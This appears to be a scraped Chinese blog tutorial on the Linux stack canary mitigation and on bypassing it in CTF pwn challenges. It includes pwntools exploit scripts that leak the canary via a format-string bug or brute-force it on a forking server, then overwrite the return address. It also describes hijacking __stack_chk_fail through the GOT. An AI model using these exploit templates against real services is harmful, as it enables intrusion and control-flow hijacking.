首页 > 其他分享 >canary(金丝雀保护)

canary(金丝雀保护)

时间:2024-03-22 09:11:38浏览次数:16  
标签:libc 金丝雀 Canary 保护 canary payload 溢出

canary(金丝雀保护)

一. 介绍

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

问题:

  1. 如何判断是否开启了canary保护?(直接使用checksec即可分析)
  2. canary到底在哪里?(调用函数_stack_chk_fail时传递的参数)
  3. canary当中的数据如何获得?(在本地当中应该时可以直接读取的,但是在服务器和本地分配的不同,故不能直接读取,只能通过打印泄露得到)

二. 绕过机制

1. 格式化字符串绕过

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要先泄露 Canary,之后再次溢出控制执行流程。前提是存在格式化字符串漏洞,利用该漏洞泄露Canary.

参考payload:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和1
if local:
    p = process('./bin')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')

payload = '%7$x' #这里就是为了泄露Canary发出的payload
p.sendline(payload)
canary = int(p.recv(),16)
print canary 
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()

2. Canary爆破

利用fork进程特征,canary的不变性(在同一进程当中使用fork函数创建的子进程的Canary是相同的),通过循环爆破canary的每一位,适用于存在fork函数的情况。

由于Canary的最低位字节是0x00,故32位的程序需要爆破3位0-255,64位程序需要爆破7位0-255。

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和1
if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'

for i in range(3):
    for i in range(256):
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\n")
        if "recv" in a:
            canary += chr(i)
            break
#没有问题,密码本身就是存在的,所以我们要做的就是依次进行猜测,时间复杂度为255*3.

getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()

3. 劫持_stack_chk_fail

可以通过修改got表当中的_stack_chk_fail符号对应的地址为我们的目地地址,故意触发保护机制来实现劫持功能。

三. 参考文章

  1. canary的各种姿势----pwn题解版 - 先知社区 (aliyun.com)
  2. canary介绍与绕过技巧_绕过nx aslr canary-CSDN博客
  3. Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)

标签:libc,金丝雀,Canary,保护,canary,payload,溢出
From: https://www.cnblogs.com/ONEZJ/p/18088661/canary-golden-skin-protection-z9qffl

相关文章

  • 安科瑞智能断路器产品介绍【可监可控 远程操控 短路保护】
    开发背景过去几年智慧用电的产品应用中,大多数只安装于进线测。主要存在以下几个问题:难定位,不知道具体哪个回路出线问题,排查困难;出线过载或线缆温度过高无法知晓;即使是出线回路安装了的场景,因后端多数是微断,回路多,而且空间有限,导致安装困难,或者重新加箱子增加成本。接线繁多(电......
  • SPPSVC.EXE(Software Protection Platform Service)是Windows操作系统中的一个进程,起源
    ‪C:\Windows\System32\sppsvc.exeSPPSVC.EXE(SoftwareProtectionPlatformService)是Windows操作系统中的一个进程,起源于微软公司为了保护其软件版权而开发的软件保护服务。这个服务主要负责验证Windows的许可证信息、管理软件激活状态以及执行与软件许可证相关的任务。SPPSVC.E......
  • 如何保障内网数据安全导出至外网,保护核心数据资产?
    内网数据安全导出是一个重要的话题,尤其是在政府部门、军工企业等涉及敏感信息的领域。为了确保内部核心资产的安全性,很多企业和机构都会选择将网络进行网络隔离。像金融、军工、政府等涉密行业,一般会选择物理隔离方式,将网络隔离为内网和外网。网络隔离后,很多企业会选择一些比较......
  • VMware vSphere Replication 9.0 - 虚拟机复制和数据保护
    VMwarevSphereReplication9.0-虚拟机复制和数据保护请访问原文链接:https://sysin.org/blog/vmware-vsphere-replication-9/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org新增功能vSphereReplication9.0提供以下新功能:VMwareLiveRecovery一种新的解决......
  • 保护范围和对象
         ......
  • 圣天诺LDK加密锁(加密狗)如何保护Linux系统下的软件
    首先下载圣天诺LDK加密锁(加密狗)开发工具包Sentinel-LDK.tar.gz。(下载地址:http://www.chinadlp.com/?list-DriveDownload.html)将其拷贝到有桌面的linux系统中,并解压后使用。1、安装驱动:在/Sentinel-LDK/Redistrubute/Runtime找到驱动: tar.gz包驱动安装方法:#tar-zxvfak......
  • 读取设置密码保护的excel文件,有没有更好的办法?
    大家好,我是Python进阶者。一、前言前几天在Python最强王者交流群【wen】问了一个Python处理Excel加密文件读取问题。问题如下:请教:读取设置了密码保护的exlce文件,df=pd.read_excel(file,password='12345678') 报错:gotanunexpectedkeywordargument"password"  目前的解......
  • 电气防火限流式保护器在住宅区域的功能与配置是怎样的?
    袁媛ACRELYY安科瑞电气股份有限公司电气防火限流式保护器主要功能功能1.短路保护功能。保护器实时监测用电线路电流,当线路发生短路故障时,能在150微秒内实现快速限流保护,并发出声光报警信号。2.过载保护功能。当被保护线路的电流过载且过载持续时间超过动作时间(3~60秒可......
  • 在可燃性粉尘危险场所安装电气防火限流式保护器的必要性
    袁媛ACRELYY安科瑞电气股份有限公司1.概述所谓的可燃性粉尘环境,是指在大气环境的条件下,粉尘或纤维状的可燃性物质与空气的混合物点燃后,燃烧将传至全部未燃烧混合物的环境。随着现代工业技术的发展,可燃性粉尘的危险场所在不断增多,其危害变得不可避免,相应的粉尘爆炸事故也时......
  • 秘密相册保险箱加密保护
    秘密相册保险箱加密保护隐私政策更新时间:2022年8月生效时间:2021年8月广州菁宏信息科技有限公司非常注重保护用户(“您”)的个人信息及隐私,我们深知个人信息对您的重要性,并将按照法律法规要求和业界成熟的安全标准,采取相应的安全保护措施来保护您的个人信息。我们希望通过本隐私政策......